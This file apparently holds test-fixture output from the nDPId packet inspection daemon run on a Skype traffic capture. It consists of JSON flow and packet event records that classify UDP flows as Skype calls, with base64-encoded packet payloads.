+00431{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":403887,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4bnAAAEARKjLAqAEiQTffETLdnFYAJDJym9gCRkbR2cp0xkwlV8oyn8X0NKXbrbkoGiloQw=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":646,"source":"skype.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.17","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":647,"source":"skype.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.159","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":403888,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4jIYAAEAR1MHAqAEiQAQXnzLdnEkAJMXJm9oCsTdSNq2fp4IomM1W0LtS\/XasnVb1cYIFcA=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":647,"source":"skype.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.159","src_port":13021,"dst_port":40009,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":648,"source":"skype.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.142","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":648,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":403961,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA496cAAEAROH3AqAEinTfrjjLdnFkAJNtLm9wCCq\/Vr9SUD4fwmmEiNdezuQ9niYUSk+YjJQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":648,"source":"skype.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.142","src_port":13021,"dst_port":40025,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":649,"source":"skype.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.143","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":649,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":403961,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA3fJEAAEARs5PAqAEinTfrjzLdnF4AIz7Dm94CUldClJ3Jj\/ar7UJqBheNPI8TcYWyskFm"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":649,"source":"skype.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.143","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":650,"source":"skype.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.21","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":403962,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAy3tIAAEARCNHAqAEinTg0FTLdnEQAHrtxm+ACoNYW9c0Iu96VtPV4yMd9SlxQuA=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":650,"source":"skype.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1431969660403,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.21","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00494{"flow_id":71,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":484584,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABmD4lAAEAG38fAqAEi1cezr8N3AbvoukrF6jj3F4AYECxe5QAAAQEICj4i0bNO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00437{"flow_id":51,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":537735,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA80ZBAAEAGh53AqAEinTeCjMNynGH\/hzYDZw7DuIAYECnYWgAAAQEICj4i0ehOvfULJJFwCjegzGQ="} +00456{"flow_id":65,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":630996,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMISNAAEAGN\/vAqAEinTeCjMN2AbvInJlHrpWZfIAYECxeqwAAAQEICj4i0kROvfadOsfzaffo90GU9fGuBRpgbZPEZs9Bzxti"} +00490{"flow_id":63,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":646176,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"0NQSxnP1PBXCt3IOCABFAABiDMRAAEAGmqPAqAEinTg0LMN0AbuAxvPD3A2f1IAYECwDcAAAAQEICj4i0lNMZDFLCID\/ssOnhCQbPdgraKv5X6X6LEBl4VvsbMI2yvwLdbH5FbeEibgiwFjV2Yetww=="} +00436{"flow_id":50,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":655,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":786350,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8JDJAAEAGft7AqAEinTc4qsNxnE+r6BLEPu7rjYAYECqtrAAAAQEICj4i0t9Nea2iMpsmfs9xo5c="} +00523{"flow_id":64,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":656,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":794045,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6V0VAAEAGS43AqAEinTc4qsN1AbtlArNVviBnW4AYECztjwAAAQEICj4i0uZNea82lrtEvF7Syi3sYudbWmm1LLmltdXITy9EZvRGZ4\/xmZ+XSmldmKNIhY33FGOH7bkZm8kH56oaXL6ossqblsc6QCTpmqw22A=="} +00437{"flow_id":57,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":657,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969660,"pkt_ts_usec":835208,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8eZJAAEAGdejAqAEi1cezr8NznFXnJeT4bf1jqoAYECrg2AAAAQEICj4i0w9O2zlegPUYPB\/96j4="} +00493{"flow_id":71,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":658,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":14345,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABmcItAAEAGfsXAqAEi1cezr8N3AbvoukrF6jj3F4AYECxc1gAAAQEICj4i08JO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00435{"flow_id":9,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":349965,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA85tJAAEAGccbAqAEiQTffIcNqnEKAlL7NMr3ZNIAZECh5AQAAAQEICj4i1RFNl5tsq7xG5CK7Tso="} +00455{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":660,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":362113,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLrEUAAEARSunAqAEiwKgBAeuAADUAN9PqYyoBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00455{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":661,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":362113,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLuWoAAEARPcTAqAEiwKgBAeF+ADUAN7bIb04BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":662,"source":"skype.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.151","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":662,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":414015,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+WsgAAEARoKjAqAEib91NlzLdnFsAKnZMm+IChMIMA7Iu2mZsqQZJnqfJooyOMKE\/uWGoix8bU\/YAAA=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":662,"source":"skype.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.151","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":663,"source":"skype.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.17","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":414016,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/HyoAAEARyHDAqAEinTg0ETLdnE0AK6EGm+QCNgMH2ITpxVJW+XmKXJHtTvzd6uYJCxFPw1m4ZheLNng="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":663,"source":"skype.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.17","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":664,"source":"skype.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":414088,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2iHEAAEAR2M3AqAEiQAQXqjLdnEsAIkoGm+YCpGAFhs2RBCMUexQexYbsFkqmQ\/8Qtyc="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":664,"source":"skype.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":665,"source":"skype.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.168","src_port":13021,"dst_port":40007,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":414088,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2+lgAAEARAQ\/AqAEib91NqDLdnEcAIop9m+gChrJ8v\/omTh7Ne4Bar5T53RvLKUpGcwE="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":665,"source":"skype.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.168","src_port":13021,"dst_port":40007,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":666,"source":"skype.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.44","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":414088,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5wkwAAEARPJTAqAEib91KLDLdnF8AJV5Dm+oCagLaZIeW7H9EIxc7czPbdaN+lYkEZAqCu0Q="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":666,"source":"skype.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1431969661414,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.44","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00686{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":537143,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADzbXJAAEAGqcfAqAEiF99JIsNrAbvkkjeTMYDD\/oAZECys5wAAAQEICj4i1cz301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00494{"flow_id":71,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":868514,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABmO61AAEAGs6PAqAEi1cezr8N3AbvoukrF6jj3F4AYECxZgQAAAQEICj4i1xdO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00490{"flow_id":63,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969661,"pkt_ts_usec":889665,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"0NQSxnP1PBXCt3IOCABFAABinkRAAEAGCSPAqAEinTg0LMN0AbuAxvPD3A2f1IAYECz+lgAAAQEICj4i1yxMZDFLCID\/ssOnhCQbPdgraKv5X6X6LEBl4VvsbMI2yvwLdbH5FbeEibgiwFjV2Yetww=="} +00455{"flow_id":65,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":150768,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABM+VNAAEAGX8rAqAEinTeCjMN2AbvInJlHrpWZfIAYECxYvgAAAQEICj4i2DFOvfadOsfzaffo90GU9fGuBRpgbZPEZs9Bzxti"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":674,"source":"skype.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.152","src_port":13021,"dst_port":40001,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":674,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":422043,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBe8QAAEARtE3AqAEinTfrmDLdnEEALXlam+wCJAhMYE3a2mA+K8Gsvq1dkqSohtdF5WONseMrsTgQWNCbqg=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":674,"source":"skype.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.152","src_port":13021,"dst_port":40001,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":675,"source":"skype.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969662,"pkt_ts_usec":422044,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0PtsAAEAR8UnAqAEinTfrkjLdgQkAINq8m+4CkuZLUb2HgW9IroWQ+JaU9ew2O1bn"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":675,"source":"skype.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1431969662422,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} 